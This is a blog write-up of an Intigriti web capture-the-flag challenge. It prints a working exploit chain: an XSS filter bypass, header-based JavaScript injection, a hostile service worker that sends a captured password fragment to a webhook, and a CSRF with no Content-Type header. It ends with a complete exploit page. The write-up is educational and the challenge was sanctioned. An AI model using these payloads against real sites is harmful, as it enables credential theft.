Salvatore Abello's Blog

Hacking & other stuff


Intigriti Challenge 0325 - Leaky Flagment - Writeup

This month, I decided to try to solve my first Intigriti challenge. There were many pieces to put together in order to solve this one, but in the end, I managed to succeed and learned a lot of stuff.

Index

Leaky Flagment

image

Overview

The website is a typical note-taking application where you can create a note by providing its title and content. Optionally, the note can be protected by a randomly generated password. Although there is a significant amount of code in this challenge, we are only interested in the following components:

  • pages/auth.js: Handles registration and login.
  • pages/post.js: Manages note creation and fetching.
  • pages/track.js, A route that serves JavaScript code and contains an obvious injection:
...
                const userIp = req.headers['x-user-ip'] || '0.0.0.0'
                const jsContent = `
$(document).ready(function() {
    const userDetails = {
        ip: "${userIp}",
        type: "client",
        timestamp: new Date().toISOString(),
        ipDetails: {}
    };
    window.ipAnalytics = {
        track: function() {
            return {
                ip: userDetails.ip,
                timestamp: new Date().toISOString(),
                type: userDetails.type,
                ipDetails: userDetails.ipDetails
            };
        }
    };

});`
                if (userIp !== '0.0.0.0') {
                    return res.status(200).send(jsContent)
                } else {
                    return res.status(200).send('');
                }
...
  • app/note/[id]/page.jsx, The page that handles notes with an HTML injection.
...
<CardContent className="flex-1 pt-6 border-t border-rose-100">
  <div className="bg-white/80 backdrop-blur-sm p-8 rounded-xl border border-rose-200 shadow-sm min-h-[400px]">
    <div
      className="prose max-w-none text-gray-700 whitespace-pre-wrap break-words"
      dangerouslySetInnerHTML={{ __html: note.content }}
    />
  </div>
</CardContent>
...
  • app/protected-note/page.jsx, the page that handles protected password notes and implements a message event listener.
    useEffect(() => {
        if(window.opener){
        window.opener.postMessage({ type: "childLoaded" }, "*");
        }
        setisMounted(true);
        const handleMessage = (event) => {
            if (event.data.type === "submitPassword") {
                validatepassword(event.data.password);
            }
        };

        window.addEventListener("message", handleMessage);
        return () => window.removeEventListener("message", handleMessage);
    }, []);

    const validatepassword = (submittedpassword) => {
        const notes = JSON.parse(localStorage.getItem("notes") || "[]");
        const foundNote = notes.find(note => note.password === submittedpassword);

        console.log("NOTES", notes);
        console.log(foundNote, submittedpassword);

        if (foundNote) {
            window.opener.postMessage({ type: "success", noteId: foundNote.id }, "*");
            setIsSuccess(true);
        } else {
            window.opener.postMessage({ type: "error" }, "*");
            setIsSuccess(false);
        }
    };
  • middleware.js, which processes two paths:
  • If the path begins with /view_protected_note and there is a query parameter named id that matches the regex /^[^\-]{8}-[^\-]{4}-[^\-]{4}-[^\-]{4}-[^\-]{12}$/, then the current URL is rewritten as /note/ plus the normalized note ID.
  • If the path begins with /note/ and there is no query parameter named s, the user is redirected to /note/<note-id>?s=true#:~:<username>:<password>. (Note that the user password is placed after the fragment directive)

Furthermore, the following headers will be set for specified paths:

  • For every path, the following headers will be sent:
    • Content-Security-Policy: frame-ancestors 'none'; base-uri 'none'; object-src 'none'; frame-src 'none';
    • X-Frame-Options: DENY
    • X-Content-Type-Options: nosniff
    • Referrer-Policy: no-referrer
  • If the path ends with .js, the header Cache-Control: public, max-age=120, immutable is sent

Because since this is a client-side challenge, there’s obviously a bot that simulates a user (the admin):


    await driver.executeScript(async (flag) => {
      const response = await fetch("/api/auth", {
        method: "POST",
        headers: {
          "Content-Type": "application/json",
        },
        body: JSON.stringify({
          username: "admin" + Math.floor(Math.random() * 10000000),
          password: flag
        }),
      });

      if (!response.ok) {
        console.error(`Bot failed to authenticate! status: ${response.status}`);
        await driver.quit();
      }
      localStorage.setItem('isAuthenticated', 'true');
    }, flag);

    console.log(`Navigating to URL: ${url}`);
    await driver.get(url);
    
    await driver.wait(async () => {
      return (await driver.executeScript('return document.readyState')) === 'complete';
    }, timeout);

    const viewportSize = await driver.executeScript(() => {
      return {
        width: window.innerWidth,
        height: window.innerHeight,
      };
    });

    const centerX = Math.floor(viewportSize.width / 2);
    const centerY = Math.floor(viewportSize.height / 2);

    const actions = driver.actions();
    await actions.move({ x: centerX, y: centerY }).click().perform();
    console.log(`Clicking at center: (${centerX}, ${centerY})`);

    await driver.sleep(60000);
...

The admin will:

  • Visit the challenge page URL.
  • Log in using the flag as the password.
  • Navigate to the provided URL.
  • Click at the center of the page.
  • Wait 60 seconds before closing the browser.

The goal of this challenge is to leak the admin password!

Note

The session cookie, which contains the password, is set with HttpOnly=true.

Solution

First, we needed to obtain XSS. We discovered an HTML injection early on, which indicated that is possible to achieve XSS. However, we had to bypass a server-side check that examined the note’s content for the characters < or >. The check is only performed if content is a string. To bypass it, we send an array containing our payload:

if (typeof content === 'string' && (content.includes('<') || content.includes('>'))) {
    return res.status(400).json({ message: 'Invalid value for title or content' });
}

image

Next, our goal was to send our webhook the fragment containing the password. However, when navigating to a URL like https://challenge-0325.intigriti.io/note/<note-id>?s=true#:~:<username>:<password> and attempting to print window.location.hash, an empty string is returned. This behavior is explained in the documentation for fragment directives, which indicates that the :~: sequence is used for user-agent instructions that are stripped from the URL during loading.

Nice. Our goal is to send our webhook to the fragment containing the password. Hoever, when navigating to a URL like https://challenge-0325.intigriti.io/note/<note-id>?s=true#:~:<username>:<password> and attempting to print window.location.hash, an empty string is returned. This behavior is explained here

Note

:~: Otherwise known as the fragment directive, this sequence of characters tells the browser that what comes next is one or more user-agent instructions, which are stripped from the URL during loading so that author scripts cannot directly interact with them. User-agent instructions are also called directives.

Since window.location.hash does not contain what we want, I looked for another property that might contain the text fragment. I even wrote a small function to recursively search for :~::

function searchTextFragment(obj, path = 'root', visited = new Set()) {
  if (visited.has(obj)) return;
  visited.add(obj);

  for (const key in obj) {
    let currentPath = `${path}.${key}`;
    try {
      const value = obj[key];
      if (typeof value === 'string' && value.includes(":~:")) {
        console.log(`Found substring at ${currentPath}:`, value);
      } 
      else if (value && typeof value === 'object') {
        searchTextFragment(value, currentPath, visited);
      }
    } catch (e) {

      console.warn(`Could not access property ${currentPath}:`, e);
    }
  }
}

Let’s run it!

image (the text fragment can be found somewhere in performance.getEntries() too)

This approach works in Chrome, but the bot uses Firefox, where it does not work, making the challenge more difficult…

Working our way out

I spent a long time trying various methods to leak the text fragment. I attempted:

  • Sending a fetch request with redirect: manual to capture headers.
  • Setting referrer: unsafe-url via meta tag.
  • Running the recursive search function on every return value of every function.
  • And more…

None of these methods worked until I considered using a service worker to access the text fragment. I found a related bug report, which encouraged me to not give me.

Service workers essentially act as proxy servers that sit between web applications, the browser, and the network (when available). They are intended, among other things, to enable the creation of effective offline experiences, intercept network requests, and take appropriate action based on whether the network is available, and update assets residing on the server. They will also allow access to push notifications and background sync APIs.1

Although registering a service worker usually requires updating files with arbitrary code (which isn’t directly possible in this challenge), I remembered that the server sends a Cache-Control header (public, max-age=120, immutable) for paths ending in .js. While we can’t upload a JavaScript file, we can abuse the injection in /api/track along with the middleware behavior:

  const path = request.nextUrl.pathname;
  if (path.startsWith('/view_protected_note')) {
    const query = request.nextUrl.searchParams;
    const note_id = query.get('id');
    const uuid_regex = /^[^\-]{8}-[^\-]{4}-[^\-]{4}-[^\-]{4}-[^\-]{12}$/;
    const isMatch = uuid_regex.test(note_id);
    if (note_id && isMatch) {
      const current_url = request.nextUrl.clone();
      current_url.pathname = "/note/" + note_id.normalize('NFKC');
      return NextResponse.rewrite(current_url);
    } else {
      return new NextResponse('Uh oh, Missing or Invalid Note ID :c', {
        status: 403,
        headers: { 'Content-Type': 'text/plain' },
      });
    }
  

By sending a request to https://challenge-0325.intigriti.io/view_protected_note.js?id=../api/a-3f42-4b86-ae89-/../track///, the content of track.js (with its caching headers) is returned. We can then trigger code execution on track.js by sending our payload in the x-user-ip header using fetch.

A payload sent in the x-user-ip header can, for example, trigger an alert:

"}});function $(_){return {ready:(_)=>{}}};function document(){};document.ready=function(_){}; alert() ;(function a(){b={//

Thus, the content of /api/track becomes modified accordingly.

$(document).ready(function() {
    const userDetails = {
        ip: ""}});function $(_){return {ready:(_)=>{}}};function document(){};document.ready=function(_){}; alert() ;(function a(){b={//",
        type: "client",
        timestamp: new Date().toISOString(),
        ipDetails: {}
    };
    window.ipAnalytics = {
        track: function() {
            return {
                ip: userDetails.ip,
                timestamp: new Date().toISOString(),
                type: userDetails.type,
                ipDetails: userDetails.ipDetails
            };
        }
    };
});

I also defined a function called $ so that the code does not throw a ReferenceError. This could also be achieved by registering a service worker with type: "module" and importing an external script where $ and document are defined. Hoever, this is only feasible in Chromium-based browsers.

When a service worker is registered, the browser requests the specified script while ignoring the cache. This behavior can be bypassed by specifying updateViaCache: "all" during registration and then calling sw.update().


// Register the service worker
a = await navigator.serviceWorker.register("<target>/view_protected_note.js?id=../api/a-3f42-4b86-ae89-/../track///", {updateViaCache: 'all', type: "module"});

// Reload the cache
await fetch('<target>/view_protected_note.js?id=../api/a-3f42-4b86-ae89-/../track///', {headers: {'x-user-ip': "\"}});function $(_){return {ready:(_)=>{}}};function document(){};document.ready=function(_){};function searchTextFragment(e,t='root',n=new Set){if(!n.has(e)){n.add(e);for(const c in e)try{const a=e[c];'string'==typeof a&&a.includes(':~:')?fetch('<webhook>?data='+encodeURIComponent(a)):a&&'object'==typeof a&&searchTextFragment(a,t,n)}catch(e){}}}self.addEventListener('fetch',(e=>{searchTextFragment(e),e.clientId&&self.clients.get(e.clientId).then((e=>{e&&searchTextFragment(e)}))}));(function a(){b={//"}, cache: 'reload'});
    
// Update the service worker code
a.update()

Note

By using the path /view_protected_note.js, the service worker’s scope will be /. If the script were located at /view_protected_note/test.js, the scope would differ.

We’re almost there. For some reason if the text fragment is present in location.href, it’s removed and the page reloads. To avoid this, we can use window.stop() followed by window.location.reload(), which triggers a request, which will be intercepted by the service worker, ensuring that the text fragment remains in the request URL.

Here is the payload used to leak the text fragment:


<script>
done = false;

let urlParams = new URLSearchParams(window.location.search);

(async () => {
    if(!(await navigator.serviceWorker.getRegistration())) return;

    window.stop();
    if(!urlParams.get("done")){
        window.stop()
        
setTimeout(() => {
        window.location = location.origin + location.pathname + "?done=1";
    
    }, 2000)

    }else{
        window.stop()
    setTimeout(() => {
        window.location.reload()
    }, 2000)
    }

    
})();

(async () => {
    a = await navigator.serviceWorker.register('<target>/view_protected_note.js?id=../api/a-3f42-4b86-ae89-/../track///', {updateViaCache: 'all'});

    await fetch('<target>/view_protected_note.js?id=../api/a-3f42-4b86-ae89-/../track///', {headers: {'x-user-ip': "\"}});function $(_){return {ready:(_)=>{}}};function document(){};document.ready=function(_){};function searchTextFragment(e,t='root',n=new Set){if(!n.has(e)){n.add(e);for(const c in e)try{const a=e[c];'string'==typeof a&&a.includes(':~:')?fetch('<webhook>?data='+encodeURIComponent(a)):a&&'object'==typeof a&&searchTextFragment(a,t,n)}catch(e){}}}self.addEventListener('fetch',(e=>{searchTextFragment(e),e.clientId&&self.clients.get(e.clientId).then((e=>{e&&searchTextFragment(e)}))}));(function a(){b={//"}, cache: 'reload'});

    a.update()

    setTimeout(() => {
        window.location = location.origin + location.pathname;
    }, 5000)
    
})()

</script>

There’s one crucial step remaining: we only have self-XSS, so we need a method to escalate this vulnerability into something truly useful. The server lacks CSRF protection, which offers a potential path forward.

CSRF & JSON

This is not a major obstacle because the server improperly checks for the correct content type.

if (content_type && !content_type.startsWith('application/json')) {
    return res.status(400).json({ message: 'Invalid content type' });
}

If a POST request is sent without a Content-Type header, the check is bypassed. I didn’t know this was possible until I read this blog post. Basically, it’s possible to pass a Blob instead of a string in the body parameter, which results in no Content-Type header being sent. An example of this CSRF technique is as follows:

await fetch(`${TARGET}/api/post`, {
    method: "POST",
    body: new Blob([
        JSON.stringify({ "title": `Hello World`, "content": [payload] })
    ]),
    credentials: "include"
});

One last challenge is letting the bot visit a note without knowing its ID. This is where the event listener in /protected-note becomes critical. Reviewing that event listener reveals that by sending a message with type "success" and an empty password, the note ID is returned (since the default password for protected notes is empty)

useEffect(() => {
    if(window.opener){
    window.opener.postMessage({ type: "childLoaded" }, "*");
    }
    setisMounted(true);
    const handleMessage = (event) => {
        if (event.data.type === "submitPassword") {
            validatepassword(event.data.password);
        }
    };

    window.addEventListener("message", handleMessage);
    return () => window.removeEventListener("message", handleMessage);
}, []);

const validatepassword = (submittedpassword) => {
    const notes = JSON.parse(localStorage.getItem("notes") || "[]");
    const foundNote = notes.find(note => note.password === submittedpassword);

    console.log("NOTES", notes);
    console.log(foundNote, submittedpassword);

    if (foundNote) {
        window.opener.postMessage({ type: "success", noteId: foundNote.id }, "*");
        setIsSuccess(true);
    } else {
        window.opener.postMessage({ type: "error" }, "*");
        setIsSuccess(false);
    }
};

To ensure the notes are loaded into localStorage, we simply open a new window to /notes.

Putting it all together

The exploit proceeds as follows:

  • Build an XSS payload that registers a service worker, as described above.
  • CSRF (without a Content-Type header) using our XSS payload inside an array.
  • Execute window.open("/notes") to load the freshly created note into localStorage.
  • Add an event listener for postMessage to capture the ID of the created note.
  • Execute window.open("/protected-note") and send a message with data { type: "submitPassword", password: "" }.
  • Receive the postMessage response
  • Navigate to /note/<note-id> to trigger the XSS
  • Profit

If everything is executed correctly, this method will work in both Firefox and Chrome, and we will receive a request to our webhook containing the flag.

Final payload

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>

<body>
    <h1>Hi</h1>
    <p>Click anywhere to start</p>
    <script>

        const TARGET = "https://challenge-0325.intigriti.io";
        const WEBHOOK = "https://webhook.site/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"

        let WIN;

        window.addEventListener("message", (event) => {
            if (event.data.type === "success") {
                console.log("Success", event.data);
                WIN.close();
                window.location.href = `${TARGET}/note/${event.data.noteId}`;
            }
        });

        async function main() {

            let payload = `<script>
done = false;

let urlParams = new URLSearchParams(window.location.search);

(async () => {
    if(!(await navigator.serviceWorker.getRegistration())) return;

    window.stop();
    if(!urlParams.get("done")){
        window.stop()
        
setTimeout(() => {
        window.location = location.origin + location.pathname + "?done=1";
    
    }, 2000)

    }else{
        window.stop()
    setTimeout(() => {
        window.location.reload()
    }, 2000)
    }

    
})();

(async () => {
    a = await navigator.serviceWorker.register('${TARGET}/view_protected_note.js?id=../api/a-3f42-4b86-ae89-/../track///', {updateViaCache: 'all'});

    await fetch('${TARGET}/view_protected_note.js?id=../api/a-3f42-4b86-ae89-/../track///', {headers: {'x-user-ip': "\\"}});function $(_){return {ready:(_)=>{}}};function document(){};document.ready=function(_){};function searchTextFragment(e,t='root',n=new Set){if(!n.has(e)){n.add(e);for(const c in e)try{const a=e[c];'string'==typeof a&&a.includes(':~:')?fetch('${WEBHOOK}?data='+encodeURIComponent(a)):a&&'object'==typeof a&&searchTextFragment(a,t,n)}catch(e){}}}self.addEventListener('fetch',(e=>{searchTextFragment(e),e.clientId&&self.clients.get(e.clientId).then((e=>{e&&searchTextFragment(e)}))}));(function a(){b={//"}, cache: 'reload'});

    a.update()

    setTimeout(() => {
        window.location = location.origin + location.pathname;
    }, 5000)
    
})()

        <\/script>`;

            try{
                await fetch(`${TARGET}/api/post`, {
                    method: "POST",
                    body: new Blob([
                        JSON.stringify({ "title": `Hello World`, "content": [payload] })
                    ]),
                    credentials: "include"
                });
            }catch(e){}

            let fetch_note_window = window.open(`${TARGET}/notes`, "", "width=512,height=512");

            setTimeout(() => {
                fetch_note_window.close();

                WIN = window.open(`${TARGET}/protected-note`, "_blank", "width=600,height=1000");
                setTimeout(() => {
                    WIN.postMessage({ type: "submitPassword", password: "" }, "*")
                }, 500)
            }, 500)

        }

        document.addEventListener("click", (e) => {
            main();
        })


        
    </script>
</body>

</html>

Conclusion

I truly enjoyed piecing together every part of the puzzle to solve this challenge. Thanks a lot to 0x999 for creating such a unique challenge.